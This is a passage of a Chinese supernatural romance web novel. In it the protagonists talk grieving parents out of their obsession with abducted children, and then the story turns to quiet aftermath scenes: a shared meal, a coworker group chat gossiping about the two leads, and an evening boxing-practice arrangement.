宿珩的声如洪钟,每一个字都敲击在陶玉芝的心上。 “你们的儿子,真正的小远,并不在这里!” “你们用这样的方式去怀念他,他如果知道,会安心吗?” 同一时间,王彦宏的攻击已到眼前。 可他看到宿珩将袁广拉起,又听到他的话,那只坚硬的手掌,竟硬生生停在了半空。 他的胸膛剧烈地起伏着。 痛苦、愤怒、迷茫、绝望,种种情绪在他脸上交织,让他那张异化的脸孔显得更加扭曲可怖。 “不……小远……他就是我的小远……” 王彦宏沙哑地低吼,声音中充满了无尽的痛苦。 宿珩趁机说道:“真正的怀念和找寻,不是将另一个人扭曲成你们想要的样子!” 韩牧川脸上的笑容终于彻底消失了。 他那双纯黑的眼珠里闪烁着阴冷的光芒,死死地盯着肖靳言和宿珩。 “闭嘴!” 韩牧川的声音陡然变得尖锐,他瞪向停止攻击的异化者们,斥道:“别听他们的蛊惑!他们这是要抢走你们最后的希望!” “只要圣祭完成!你们的孩子就能真正回来!” 韩牧川的声音带着歇斯底里的蛊惑。 “杀了他们!用他们的血,来完成最后的仪式!” 王彦宏和陶玉芝原本动摇的眼神,在听到“孩子就能真正回来”这几个字时,再次被浓重的血色所覆盖。 那种刚刚被撬动一丝的理智,瞬间被更深的绝望和疯狂的执念所吞噬。 “小远……” 陶玉芝喃喃着,眼神重新变得空洞而偏执。 但宿珩注意到,她眼底深处,仍有挣扎涌现。 她缓缓伸出手,不是攻向宿珩,而是试图去抚摸袁广那张,自己记忆中的脸。 袁广吓得魂飞魄散,拼命地向后缩。 “啊——!” 袁广发出一声短促的惊叫,身体完全不受控制,被宿珩向前一推。 他眼睁睁看着自己撞向陶玉芝。 那双闪烁着惨绿幽光的尖利指甲就在眼前,死亡的恐惧瞬间将他吞没,眼泪如同断线的珠子般狂涌而出。 完了! 他要死了! 陶玉芝的动作却忽然顿住,那双因异化而布满血丝的眼睛,死死盯着被推到自己面前的袁广。 她的手高高扬起,尖锐的指甲几乎要触碰到袁广的脸颊。 袁广绝望地闭上了眼睛。 然而,预想中的剧痛并没有传来。 一只带着异样冰凉,却在微微颤抖的手,轻轻落在了他的脸颊上。 陶玉芝的指甲停在袁广的皮肤外,没有刺入。 她只是用指腹,有些笨拙地,擦拭着袁广脸上的泪水。 她的动作很轻,带着一丝连她自己都未曾察觉的小心翼翼。 宿珩看着这一幕,心中微微松了口气。 他赌对了。 这对夫妻,与其他那些直接掳人,并用邪咒强行扭曲祭品的父母不同。 当初,他们选择了最温吞,也是最考验耐心的“软化”和“慈爱”的方式,去试图将自己转化成“小远”。 宿珩相信自己并不是第一个。 这种与众不同的选择,本身就说明了他们内心深处,尚存一丝挣扎与不曾被完全磨灭的柔软。 “你们还记得……” 宿珩的声音再次响起,平静却带着直指人心的力量,“当初成立那个互助会的初衷,是什么吗?” 陶玉芝抚摸袁广脸颊的手,猛地一颤。 她眼中的血色似乎淡了一些,那因异化而扭曲的面容上,闪过更加剧烈的挣扎。 初衷? 互助会的……初衷? 记忆不受控制地回到五年前。 一个阳光明媚的午后,她只是转身挑拣了几颗最新鲜的青菜,再回头,活蹦乱跳的小远就不见了。 那短短几步路的距离,成了她与丈夫王彦宏,五年都无法跨越的天堑。 整整五年。 他们找遍了所有可能的地方,从希望到失望,再到绝望。 在这个过程中,他们认识了许多和他们一样失去孩子的父母。 大家同病相怜,互相抱团取暖,于是成立了那个“失孤父母互助会”。 最初的目的。 只是想互相安慰,互相支撑着活下去,分享一点点渺茫的寻亲线索。 可是…… 是从什么时候开始,一切都变了呢? 是从那个自称能帮他们“找回”孩子的韩牧川出现之后吗? 陶玉芝恐怖的面容上,那些异化的特征,竟奇迹般地开始缓慢消退,眼中的疯狂也渐渐被痛苦所取代。 宿珩看着她的变化,继续说道: “我能想象出来——” “互助会成立的初衷,是互相帮助,彼此慰藉,在无边的黑暗中寻找一丝光明。” “而不是将更多的无辜者拖入和你们一样的深渊,制造新的悲剧。” 宿珩这番话后,陶玉芝浑身颤抖得愈发厉害。 韩牧川一直冷眼旁观,此刻见到陶玉芝的异状,那张漂亮的小脸上终于露出了惊慌。 他尖声叫道:“杀了他们!快杀了他们!别被他们骗了!” 他指挥着其他那些依旧狂暴的异化父母,更加凶猛地扑向肖靳言和闫知许。 “到底谁是骗子,你还在颠倒是非吗?” 肖靳言冷哼一声,在这个关头上,任何人想动宿珩,都是妄想。 除非从他尸体上踏过去。 肖靳言手中短刀舞得密不透风,与闫知许一左一右,死死地将宿珩护在身后,不让任何一个异化者靠近。 但宿珩的话,并非只对陶玉芝一人所说。 那些依旧在疯狂攻击的异化父母中,也有几人动作明显迟滞了一下,包括王彦宏,他们的眼神中,闪过一丝与陶玉芝相似的迷茫。 然而,也有在无边绝望中,失去本心的人。 刘芳非但没有受到感触,反而像是被彻底刺激到了。 她尖啸一声,攻势更加疯狂。 “小宝!我的小宝就在这里!谁也别想抢走她!” 与此同时,那个之前抓走黄琳的中年男人,也面目狰狞地嘶吼:“胡说八道!我的儿子已经回来了!他就在我身边!” “自欺欺人!” 肖靳言眼中寒光一闪,抓住一个破绽,猛地一脚踹在扑上来的中年男人胸口。 这一脚夹杂着他的怒火,用了十成十的力道,势大力沉。 “砰!” 中年男人惨叫一声,庞大的身躯倒飞出去,重重砸在土墙上。 肖靳言冷嗤一声,声音如同冰冷的刀锋,刺入每一个父母的心底。 “你们强行改变一个陌生人的面容,扭曲他们的意志,自作主张把别人当成自己的儿女占为己有,可曾问过他们愿不愿意?” “你们的孩子被拐卖失踪,那种痛苦和罪孽,应该由天杀的人贩子去承受!” “看看你们现在的所作所为,和那些夺走你们孩子的人贩子,又有什么区别?!” 轰——! 这句话,如同一道惊雷,狠狠劈在每一个异化父母的心头。 人贩子! 他们最痛恨,最诅咒的存在! 但是……现在的他们,竟变成了自己最厌恶的模样了吗? “我叫萧红!我不叫小宝!我不是你女儿!” 躺倒在地的萧红,用尽全身力气抬起头,对着刘芳发出了沙哑而凄厉的嘶喊。 “我叫黄琳!放开我!我才不是你儿子!” 黄琳也带着决然之意,大叫起来。 紧接着—— 地窖内,那些被捆绑的孩子们,一个接一个地哭喊出自己的真实姓名,控诉着这些父母的暴行。 “我不是小明!” “我妈还在等我回家!” “你们是坏人!你们和人贩子一样坏!” 一声声稚嫩却充满了绝望和愤怒的控诉,如同无数根钢针,扎进那些父母的心脏。 他们疯狂的动作,一个接一个地停了下来。 脸上的狰狞和狂暴渐渐褪去,取而代之的是无尽的痛苦和茫然。 王彦宏高举的拳头僵在半空,他看着眼前因为恐惧而瑟瑟发抖的袁广,又看了看自己那双异化后变得粗壮丑陋的手。 天…… 他……他都做了些什么? “啊——!” 一个异化的母亲突然抱住头,发出了痛苦到极致的尖叫,身体剧烈地颤抖起来,身上那些异化的特征,如同潮水般迅速消退。 紧接着,是第二个,第三个。 他们纷纷痛苦地捂住脑袋,跪倒在地,身体上那些可怖的异化特征以肉眼可见的速度消失,恢复了原本属于人类的模样。 绝望依旧。 但那份扭曲的执念,在肖靳言的当头棒喝和孩子们的泣血控诉下,终于出现了裂痕。 他们这样做……真的对吗? 不,他们错了,错得离谱! 看到这一幕,韩牧川那张漂亮的小脸彻底失去了血色。 他知道,大势已去了。 这个心门,要破了! 他眼中闪过一丝浓浓的不甘和怨毒,但更多的是一种当机立断的狠辣。 韩牧川向来是个能屈能伸,或者说,极度惜命的人。 留得青山在,不怕没柴烧。 趁着所有人的注意力都集中在那些正在崩溃的父母身上,他没有丝毫犹豫,小小的身影如同狸猫般灵巧,悄无声息地朝着地窖出口,飞快地窜了过去。 “想跑吗?” 肖靳言第一个反应过来,眼神一厉,作势就要追上去。 但地上的那些父母虽然恢复了人形,情绪却极不稳定,有的甚至开始嚎啕大哭,用头撞墙。 如果他现在追出去,万一这些人再次失控,宿珩和闫知许,还有那些孩子,恐怕会有危险。 电光火石之间。 肖靳言停下了脚步,只能眼睁睁看着韩牧川那小小的身影消失在门洞的黑暗之中。 他眉头紧锁,冷哼一声。 “算你跑得快。” 肖靳言低声自语,眼中却闪过一丝冷冽的杀意。 “不过,我们很快还会再见面的。” 他相信。 以韩牧川这种筑梦人的行事风格,未来,他们之间,必定还会有交锋。 第76章 第 76 章 失落的小孩(完)…… 尘土缓缓落下, 昏黄的烛光摇曳着,将一道道失魂落魄的影子投在斑驳的土壁上。 那些刚刚还形同鬼魅的父母们,此刻大多恢复了原本的模样。 他们瘫坐在地上, 脸上没有了疯狂的异化特征,取而代之的是无尽的悲戚与绝望。 有的女人掩面痛哭,瘦削的肩膀剧烈耸动。 有的男人则用拳头一下下捶打着自己的脑袋, 口中喃喃自语:“我做了什么……我到底做了什么……” 刘芳和那个中年男人,似乎仍旧沉浸在执念中,眼中带着几分不甘, 想要挣扎。 但他们很快被身边其他恢复理智的父母死死按住。 “够了!老李!清醒一点!” “刘芳, 别再执迷不悟了, 我们……我们都错了啊!” 几声带着哭腔的劝慰响起。 刘芳和那中年男人挣扎的力道,渐渐小了下去。 最终, 他们像是被抽走了所有力气,瘫软下来,眼神空洞地望着某处,眼角无声地滑落两行浑浊的泪水。 肖靳言面无表情地收回投向地窖出口的目光, 那里已经没有了韩牧川的身影。 他转过身, 迈步走向那些被五花大绑的人。 手中黑色短刀寒光接连闪过, 利落地割断了捆在他们身上的粗麻绳。 “没事了。” 肖靳言的声音平静无波, “出去吧。” 这些人活动了一下被勒得发麻的手腕,惊魂未定地看着肖靳言, 又看了看周围那些失魂落魄的父母,张了张嘴, 却一个字也说不出来,只是重重地点了点头。 肖靳言没有多言,依次将剩下所有人身上的绳索全部割断。 他对一旁的闫知许吩咐道:“带他们出去, 小心点。” “是,老大!” 闫知许连忙应声,脸上露出了如释重负的表情。 那些刚刚经历过生死边缘的人,此刻哪里还敢有半分迟疑。 他们互相搀扶着,跌跌撞撞地跟在闫知许身后,争先恐后地朝着地窖出口跑去。 地窖内很快便只剩下肖靳言、宿珩,以及那十几个瘫坐在地,如同雕塑般绝望的父母。 肖靳言正准备招呼宿珩一同离开,却见宿珩并没有动。 他站在原地,清冷的目光扫过那些沉浸在悲痛中的父母,最后,落在了王彦宏和陶玉芝夫妇身上。 宿珩迈开脚步,缓缓走了过去。 肖靳言眉头微蹙,却没有出声阻止,只是眼神紧紧跟随着宿珩的身影。 王彦宏和陶玉芝并肩坐靠在冰冷的土壁上,两人都低着头,仿佛一瞬间苍老了十岁。 陶玉芝的发丝凌乱地贴在脸颊,王彦宏宽厚的肩膀也垮了下来,再没有了之前的暴戾。 宿珩在他们面前蹲下身,声音很轻,却清晰地传入两人耳中。 “小远知道你们一直在找他,他会很开心的。” 陶玉芝和王彦宏的身体,同时微微一震,却依旧没有抬头。 宿珩看着他们,继续说道:“我相信,你们一定能森*晚*整*理找到他的。” 地窖内安静得只能听到火焰燃烧蜡烛时,发出的轻微噼啪声。 宿珩停顿了一下,眼神中掠过一丝复杂难辨的情绪。 他再次开口,声音比之前更低了几分:“谢谢你们。” 陶玉芝终于缓缓抬起了脸。 她的眼睛红肿不堪,脸上还带着未干的泪痕,声音沙哑得不成样子:“谢……谢谢?” 她不明白,他们把这个年轻人折磨成这样,他为什么还要说谢谢? 宿珩“嗯”了一声。 清澈的眼眸直视着陶玉芝,仿佛下定了某种决心,缓缓说道:“我是孤儿。” 简单的三个字。 却像一块巨石投入平静的湖面,让陶玉芝和王彦宏都猛地抬起了头,眼中充满了震惊和难以置信。 肖靳言站在不远处,听到这三个字,身体也是一僵。 他看着宿珩清瘦的背影,心脏像是被一只无形的手紧紧攥住,微微抽痛。 宿珩……是孤儿? 他从未想过。 宿珩并没有理会他们的震惊,继续用那种平静到近乎冷漠的语气说道: “虽然……结果并不怎么愉快,但还是要谢谢你们,让我在那两天的过程中,感受到了一丝来自父母的……温暖。” 那温暖—— 或许只是陶玉芝笨拙的关心。 或许是王彦宏在“扮演”父亲角色时,不经意流露出的复杂眼神。 但对于从小在孤儿院长大,早已习惯了人情冷暖的宿珩来说,即便是虚假的,刻意的,那短暂的“家庭”体验,也依旧在他冰封的内心深处,留下了一道微不可察的痕迹。 这话一出,陶玉芝和王彦宏脸上的震惊瞬间被浓浓的愧疚所取代。 陶玉芝的嘴唇剧烈地颤抖着,泪水再次决堤而出。 她伸出手,似乎想要抓住什么,却又无力地垂下。 “对不起……” 王彦宏这个不苟言笑的汉子,此刻也终于支撑不住,他低下头,声音哽咽,充满了无尽的悔恨,“真的……对不起……” 宿珩看着他们,没有再说话。 他缓缓站起身,转头看向一直默默等待着他的肖靳言,轻声道:“走吧。” 肖靳言深深地看了宿珩一眼。 看着他那张在昏暗光线下漂亮到近乎柔弱的侧脸,想到他刚刚那番话,心中百感交集。 他一直以为宿珩只是性格冷淡,不喜与人亲近。 却从没想过,在那份清冷疏离的背后,竟是这样的过往。 一股从未有过的强烈保护欲,伴随着莫名的心疼,在肖靳言心中翻涌。 他点了点头,声音不自觉地放柔了几分:“好。” 两人一前一后,沉默地朝着地窖出口走去。 当他们跨出那道低矮的门洞,重新回到地面时,刺眼的光线让他们同时眯起了眼睛。 身体上的变化也随之而来。 原本孩童的矮小身躯迅速拔高,骨骼拉伸,衣物也变回了他们进入心门时的样子。 肖靳言恢复了他原本二十七岁的挺拔身形,一身黑色冲锋衣更显的他肩膀宽阔,体态英挺。 宿珩也变回了那个清瘦俊逸的大学生模样,只是脸色比平时更苍白了几分。 他们发现自己身处一间堆满杂物的储物间内,空气中弥漫着一股陈旧的霉味。 地窖的入口,就在储物间地板上一块不起眼的活板门之下。 闫知许正焦急地守在储物间的门口,看到两人恢复原样走出来,顿时松了一口气,连忙迎了上来。 三人走出室外,看到自己身处的地方,是一座老教堂。 而这里…… 不出意外,就是这扇心门的起源之地了。 …… 天色已近黄昏,残阳如血,将老教堂尖顶的十字架染上一层暗红。 梧桐街道的晚风吹过,带着几分萧瑟。 三人刚走出教堂那厚重的木门,踏上布满落叶的梧桐街道,一辆车便急刹停在了他们面前。 车门推开,一个身影敏捷地跳了下来。 利落的短发挑染着几缕冰蓝,紧身牛仔裤勾勒出修长的双腿,来的人正是文玉燕。 她脸上带着明显的焦急,目光快速扫过三人,当看到他们都安然无恙时,紧绷的肩膀才几不可察地松弛下来。 “你们总算出来了!” 文玉燕的声音带着一丝不易察觉的沙哑,显然是等待已久。 她的视线在闫知许身上多停留了几秒。 看到他虽然脸色有些苍白,但精神尚可,眼底迅速掠过一抹水光。 文玉燕快步上前,不等闫知许开口,抬手便“砰”地捶了一下他的肩膀,故作轻松地笑道: “臭小子,进去这么久,我还以为你乐不思蜀了呢!” 闫知许被捶得龇牙咧嘴,却顺势夸张地捂住肩膀,故意苦着张脸。 “哎哟!燕姐,你这一下,我感觉骨头都要散架了!怕不是要落下个终身残疾!” 文玉燕被他这副模样逗得“噗嗤”一声笑了出来,眼底那点水汽也散了,没好气地又拍了他一下,力道却轻了不少。 “就你贫!” 肖靳言看了一眼天色,打断了两人,“先找个地方吃点东西,这几天都没好好吃过饭。” 他看向宿珩,询问的意味明显。 宿珩微微颔首,没有拒绝。 连续几日的精神紧绷和体力消耗,他也确实感到饥饿。 四人在老教堂附近不远,找到一家门面不大但看着干净整洁的小饭馆。 饭馆里人不多,他们挑了个靠窗的位置坐下。 肖靳言点了几个清淡又下饭的家常菜,随后拿起桌上的茶壶和水杯。 他先拿起一个干净的玻璃杯,替宿珩倒了半杯温热的开水,推到他面前。 然后才依次给文玉燕和闫知许也倒上,最后是自己。 宿珩端起水杯,指尖传来温热的触感,他低声道了句:“谢谢。” 他捧着杯子,小口地喝着。 文玉燕看着他们三人,尤其是肖靳言和宿珩之间那种无需多言的默契。 她眼神闪了闪,压低声音问闫知许:“里面到底什么情况?我看你们出来,脸色都不太好。” 肖靳言闻言,抬了抬下巴,示意闫知许。 闫知许会意,左右看了看。 确定邻桌没人,他这才压低了声音,将心门内的遭遇—— 从进入梧桐路街道的诡异氛围,到糖果摊的陷阱,再到变成小孩的经历,以及韩牧川的出现和那场惊心动魄的“圣祭”仪式,都绘声绘色地描述了一遍。 他着重讲了那些父母被扭曲的绝望,以及韩牧川的险恶用心。 文玉燕听得柳眉紧蹙,脸色也随着闫知许的叙述一点点变得凝重,握着水杯的手指微微收紧。 等闫知许终于说得口干舌燥,端起水杯猛灌了几口,肖靳言才淡淡开口:“总结得还算到位。” 闫知许刚松了口气,就听肖靳言继续道:“记得,后天把这次心门的详细报告交上来。” “啊?” 闫知许的脸瞬间垮了下来,哀怨地看了肖靳言一眼,又偷偷瞥向旁边神色淡然,正慢条斯理喝水的宿珩,心中暗道: 为什么受伤的总是我? 老大您自己不写报告,宿珩也不用写,就可着我一个人薅啊! 对面的文玉燕冲他扬起眉,幸灾乐祸的意味很明显。 闫知许自然不敢有任何异议,只能苦哈哈地应了声:“是,老大。” 饭菜很快端了上来。 一顿饭吃得相对沉默,经历过心门内的种种,大家都没什么闲聊的心情。 吃完饭,已是夜幕低垂。 肖靳言开着那辆黑色越野车,先将宿珩送回了京州大学。 车子停在校门口,肖靳言侧头看着宿珩:“我还有些事情需要立刻向上面汇报,就不送你回宿舍了。” 宿珩“嗯”了一声,推开车门的手顿了顿,轻声道:“开车慢一点。” 肖靳言眼中闪过一丝暖意,嘴角微微上扬:“放心。” 目送着越野车汇入车流,宿珩才转身走进宿舍楼。 宿舍里空无一人,两个室友大概是出去玩了,还没回来。 他从柜子里找出换洗衣物和洗漱用品,走进公共淋浴间。 热水从头顶淋下,冲刷着身体的疲惫,却冲不散心底翻涌的思绪。 心门里发生的一切,那些绝望的父母,韩牧川的出现,还有陶玉芝那一声声的“小远”。 洗完澡后,宿珩回到床上。 他睁着眼睛,看着天花板,久久无法入眠。 脑海中不断回放着陶玉芝和王彦宏,最后那充满愧疚和痛苦的眼神,以及自己脱口而出的那句“我是孤儿”。 他很少对人提及自己的身世,那份深藏心底的孤独与敏感,是他不愿触碰的角落。 黑暗中,宿珩轻轻叹了口气,摸过手机。 他犹豫了片刻,点开肖靳言的微信对话框,指尖在屏幕上敲击,删删改改,最终发出了一条简短的消息。 [附近有拳馆吗] 消息刚发送出去,几乎是秒回。 肖靳言:[你想练拳?] 宿珩看着屏幕,下意识想回复一个[嗯]字。 他指尖轻点,键盘上却自动弹出了备选的表情包。 就在他准备按下发送键的瞬间,手指不小心碰到了旁边一个动态的小兔子点头表情包。 那个戴着粉色蝴蝶结的小兔子,正乖巧地一点一点头,旁边还有个“嗯嗯!”的粉色气泡。 宿珩瞳孔微微一缩,几乎是条件反射般地迅速点击了撤回。 他希望肖靳言没看到…… 另一边。 一间灯火通明,气氛严肃的会议室内。 长长的会议桌旁坐着十数位神情凝重,肩上都扛着不凡军衔或身份的领导。 他们刚刚听完肖靳言关于此次“梧桐路心门”事件,以及“筑梦人”组织初步调查结果的汇报,每个人的脸色都十分难看。 “筑梦人……” 一位头发花白的老者眉头紧锁,“他们竟然已经渗透到这种地步,利用人心绝望制造心门,举行‘圣祭’,窃取规则碎片,其心可诛!” “必须严查!” 另一位中年男人拍案而起,“绝不能让他们继续为祸!” 会议室内的气氛紧张到了极点。 一旁的座位上,肖靳言却仿佛局外人一样,垂眸紧盯着手机屏幕。 “靳言,这件事还要你这边多上点心,尽快……” “靳言?” “肖靳言?” 没听到肖靳言回应,领导们纷纷抬眸看了过去。 下一秒,这群位高权重的人,都像集体见了鬼一般,眼珠子差点瞪出来。 他们清清楚楚地看到—— 那个向来以冷硬铁血着称,泰山崩于前都面不改色的肖靳言,此刻,嘴角竟然勾起了一抹堪称温柔,甚至带着几分宠溺的微笑。 那笑容转瞬即逝,快得仿佛是他们的错觉。 但那一瞬间的柔情,却比刚才汇报中描绘的心门凶险,以及“筑梦人”组织的恶贯满盈,更让他们感到毛骨悚然。 整个会议室,陷入了一种诡异的寂静。 其中一个年过古稀的老太太,用胳膊肘怼了怼身旁的人,低声问:“你说,小肖是不是恋爱了?” 身旁的人思忖了会儿,郑重点头,“我看是。” 第77章 第 77 章 无尽公路1 肖靳言眸光微敛, 那抹几乎可以称之为温柔的笑意瞬间隐去,恢复了平日里沉稳冷静的模样。 他坐直了身子,换上了一脸严肃的表情。 “关于‘筑梦人’的进一步调查, 我会亲自跟进,各位放心。” 周围的领导们交换了一个心照不宣的眼神,却也没再多言, 纷纷点头表示认可。 会议结束,肖靳言最后一个走出会议室。 他站在灯光明亮的走廊上,指尖在手机屏幕上轻点, 给宿珩回了一条消息。 [现在吗?] 消息发送出去, 屏幕暗了下去, 却迟迟没有等到回复。 肖靳言微微蹙眉,将手机揣回兜里, 大步流星地走向停车场。 坐进黑色越野车的驾驶座,他没有立刻发动车子,而是再次拿出了手机。 看着那个依旧安静的对话框,他指尖一动, 直接拨出了一个视频电话。 宿舍内, 宿珩将手机丢在枕头边, 有些烦躁地翻了个身, 仰面躺着,双眼失神地盯着上空的天花板。 突兀的视频通话铃声响起, 打破了室内的寂静。 他侧头看了一眼,屏幕上赫然跳动着“肖”这个字, 下面还有个小小的摄像头图标。 宿珩:“……” 他直接按了挂断。 然而,几乎是下一秒。 视频邀请再次锲而不舍地弹了出来。 宿珩依旧选择了挂断,但很快, 第三通视频邀请拨了过来,仿佛他不接,就誓不罢休。 宿珩抿了抿唇,终究还是划向了接听。 手机屏幕亮起,肖靳言的脸出现在画面中。 他显然是在车里,车内光线昏暗,只有仪表盘幽幽的微光,勾勒出他硬朗深刻的五官轮廓。 “怎么了?” 肖靳言的声音透过听筒传来。 他看着手机屏幕里那张小半掩在被子里的脸。 额前柔软的黑发有些散乱,几缕垂落在眉眼间,只露出一双寡淡的,像笼了一层薄雾似的眼睛。 肖靳言的心脏,在那一瞬间,仿佛被什么轻轻撞了一下,漏跳了半拍。 他面上却不动声色,维持着惯有的镇定,问宿珩:“怎么突然想去拳击馆?” 宿珩将被子往上拉了拉,只露出一双眼睛,声音在被子里,听起来闷闷的。 “睡不着。” 肖靳言闻言,心中了然。 多半还是受了心门里那些事情的影响。 他抬腕看了眼手表,指针已经指向了晚上十点多。 沉吟片刻,他开口提议:“要不,我来接你,去我那儿?” 宿珩刚想下意识地开口拒绝。 “吱呀——” 宿舍门突然被人从外面推开,紧接着响起了室友的说笑声。 宿珩瞳孔微缩,几乎是立刻对着手机飞快地说道:“室友回来了,今天就算了。” 说完,他便迅速挂断了视频通话。 驾驶座上,肖靳言看着骤然暗下去的手机屏幕,无奈地“啧”了一声,抬手摸了摸鼻子。 宿舍内。 室友2提着刚买的桶装水走进来,一眼就看到宿珩已经躺在了床上,有些讶异地问道:“咦?宿珩你回来了,今天睡这么早?” 室友1探头看了一眼,但什么话也没说。 这段时间,宿珩经常性突然消失,又突然回来,他们虽然好奇,却也识趣地没有多问。 宿珩将被子蒙过头顶,只从被子里发出一声含糊的“嗯”,算作回应。 两个室友见他似乎已经要睡了,便也没再打扰,各自轻手轻脚地忙活自己的事情,开始了夜生活。 宿舍里渐渐安静下来。 只剩下键盘轻微的敲击声和鼠标的点击声。 宿珩在被子里睁着眼睛,听着外面细碎的声响,不知不觉间,渐渐沉入了梦乡。 …… 翌日。 宿珩醒得很早。 窗外天光微熹,宿舍里另外两个室友还在沉睡。 他轻手轻脚地起身,拿过放在床头的手机,习惯性地点开。 屏幕上弹出一个新的群聊邀请。 群名是—— [扫垃圾的清理师(无老大版)]。 宿珩看着这个群名,眉梢几不可察地挑了一下。 他点了同意,群里已经有了不少消息。 他大概明白,这是清理办内部的小群,而且,特意注明了“无老大版”。 群里除了闫知许和文玉燕,还有十几个他不认识的ID,头像五花八门。 宿珩随意翻了翻聊天记录,大多是些日常的插科打诨,偶尔夹杂着对某些任务的吐槽,或者分享一些稀奇古怪的见闻。 他没有参与讨论,默默退出了聊天界面。 洗漱完毕,宿珩带上书和电脑,去了学校图书馆。 一整个白天,他都泡在图书馆里,将这几天因为心门事件而落下的课程一点点补回来。 周围安静的学习氛围,让他纷乱的思绪也沉淀了不少。 傍晚,夕阳的余晖透过图书馆的玻璃窗,洒下一片金色的暖光。 宿珩合上书,揉了揉有些酸涩的眼睛。 他收拾好东西,走出图书馆,晚风带着一丝凉意拂过脸颊。 脑海中,不期然地浮现出肖靳言那张带着戏谑笑容的脸。 他拿出手机,点开那个熟悉的对话框,指尖在屏幕上停顿片刻,发了条消息过去。 [有空吗?] 与此同时,京州街道清理办事处,处长办公室内。 气氛有些凝重。 肖靳言修长的手指间夹着一份刚提交上来的心门任务清理报告,视线却并没有落在纸张上。 他靠在宽大的办公椅背上,时不时发出一声几不可闻的轻叹。 办公桌对面,站着一个年轻的清理师,额角渗着细密的汗珠,大气都不敢出。 老大今天这气场,有点不对劲啊。 那一声声叹息,像小锤子一样敲在他的心上,让他怀疑自己这份报告是不是写得错漏百出,即将面临狂风暴雨般的批评。 就在年轻清理师忐忑不安,几乎要维持不住脸上镇定的时候,肖靳言放在桌面上的手机屏幕,忽然亮了一下。 肖靳言眼睫微动,拿起手机。 当看清屏幕上那个熟悉的头像和简短的三个字时,他周身那股若有似无的低气压,瞬间消散得无影无踪。 原本微微蹙起的眉头舒展开来,唇角甚至不受控制地向上扬起一个细微的弧度。 他整个人像是卸下了什么无形的重担,随意地向后一靠,单手拿着手机,指尖飞快地在屏幕上敲击。 [有] 消息刚发出去,对面几乎是秒回。 [今天周六,晚上训练] 肖靳言看着这行字,嘴角的笑意更深了些。 这是他们之间的约定,每周二、四、六,他会抽出时间,在自己别墅的地下训练室,给宿珩做陪练。 他回复:[七点半我来接你] 对面很快回了一个字:[嗯] 收到宿珩主动发来的消息,肖靳言的心情肉眼可见地好了起来。 他放下手机,将那份让年轻清理师胆战心惊的报告合上,递了过去,语气也轻松了不少。 “报告写得不错,下次继续保持。” 年轻清理师闻言,如蒙大赦,脸上瞬间露出惊喜的表情,连忙接过报告。 “谢谢老大!我一定会努力的!” 他躬了躬身,逃也似的退出了处长办公室。 走出办公室,关上门的那一刻,年轻清理师长长地舒了一口气,感觉自己像是刚从鬼门关里走了一遭。 他迅速掏出手机,点开那个[扫垃圾的清理师(无老大版)]的群聊,手指飞快地打字。 [瘦猴不是猴 ]:[兄弟姐妹们!我跟你们说,老大今天太反常了!] [瘦猴不是猴 ]:[他刚才看我报告时那气压,吓得我腿都软了!] [瘦猴不是猴 ]:[结果不知道是谁给他发了条消息,老大瞬间就多云转晴了!] [瘦猴不是猴 ]:[那笑得……啧啧啧!你们恐怕想象不出来老大当时那笑脸。] 一连串的消息发出,群里立刻活跃起来。 [专业贴膜小王子]:[什么情况什么情况?] [我想追她]:[坐等吃瓜.jpg] [我想追她]:[@瘦猴不是猴,快说快说,是谁?!] [瘦猴不是猴 ]:[我没敢看啊,不知道是谁啊!] [知了也知许]:[盲猜一波,会不会是宿珩呢?] [今天也要努力搬砖]:[??????] [瘦猴不是猴]:[反正老大那表情,温柔得能掐出水来!] [知了也知许]:[哎呀,大概率就是他了] [知了也知许]:[悄悄跟你们说,老大对宿珩好得简直没边儿了!] [知了也知许]:[你们是没见过,昨天吃饭,老大亲自给人倒水,还是第一个给他倒,那叫一个殷勤!] [知了也知许]:[我还听说啊,他们俩还睡一块儿呢!] [专业贴膜小王子]:[卧槽!真的假的?!@知了也知许你小子别胡说八道啊!] [今天也要努力搬砖]:[睡一块儿?] [我想追她]:[我想知道用什么姿势睡的?] [知了也知许]:[@我想追她,卧槽,你这车也能开起来?] [我想追她]:[怕什么,反正老大又不在。] 其他人:[竖起大拇指.jpg] 群里讨论得热火朝天,各种猜测和八卦满天飞。 直到—— [玉面小飞燕]:[@知了也知许,皮痒了是吧?] [玉面小飞燕]:[崩溃啊……你们没发现群里多了个人吗?!] 文玉燕一出声,群里突然陷入了一片诡异的寂静。 过了好几秒。 [瘦猴不是猴]:[等等……我们群里,什么时候……多了个人?] [专业贴膜小王子]:[完了……] [今天也要努力搬砖]:[完了……] [我想追她]:[完了……] [知了也知许]:[完了……!!!] [玉面小飞燕]:[确实……你们完了!] 群里再次炸开,只不过这次,所有发言都变成了各种震惊和求饶的表情包,再没人敢提刚才的八卦。 …… 七点半。 京州大学南校门口。 宿珩站在路灯旁,垂眸看着手机屏幕。 群聊消息还在不停地向上滚动,他面无表情地翻看着那些聊天记录。 当看到那句“用什么姿势睡的”,他的眼角不禁剧烈抽动了一下。 联系到消息弹出的时间,正好是他给肖靳言发信息,而那个“瘦猴”从办公室出来之后。 宿珩的脸色僵了僵。 怎么就这么巧呢…… 他深吸一口气,指尖在退群的按钮上悬停了片刻。 但转念一想,如果现在退群,反而显得自己此地无银三百两,而且以后都是同事,这样似乎不太合群。 最终,宿珩只是默默地将这个群设置成了消息免打扰。 这时,一声喇叭响将他的注意力唤回。 他抬起头,一辆熟悉的黑色越野车,正缓缓停在他身旁。 肖靳言摇下车窗,略带磁性的声音传了出来。 “上车。” 宿珩拉开副驾驶的车门坐了进去,将背包随手放在后座。 黑色越野车平稳地驶离校门口,汇入夜间的车流,朝着肖靳言别墅的方向开去。 车内一时间有些安静,只有引擎低沉的轰鸣和窗外掠过的霓虹。 宿珩侧头看着窗外。 城市的灯火在他眼中拉成一条条模糊的光带,脑子里却不受控制地回荡着群聊里的那些发言。 “睡一块儿。” “我想知道用什么姿势……” 他的耳根莫名有些发烫,手指在膝盖上无意识地蜷了蜷。 “还在想心门里的事?” ?肖靳言的声音忽然响起,打破了沉默。 宿珩回过神,目光从窗外收回,落在肖靳言专注开车的侧脸上。 昏暗的光线勾勒着他硬朗的轮廓,显得沉稳而可靠。 “没有。” 宿珩淡淡地应了一声。 肖靳言瞥了他一眼,没再追问,只是随手按开了车载音响。 一阵和他本人气质完全不符的,上个世纪的情歌慢悠悠地飘了出来。 “……我的心里只有你没有他,你要相信我的情意并不假……” 宿珩:“……” 他看着肖靳言竟然还跟着那老掉牙的旋律,用手指在方向盘上轻敲着节拍,一副怡然自得的模样。 宿珩面无表情地移开了视线。 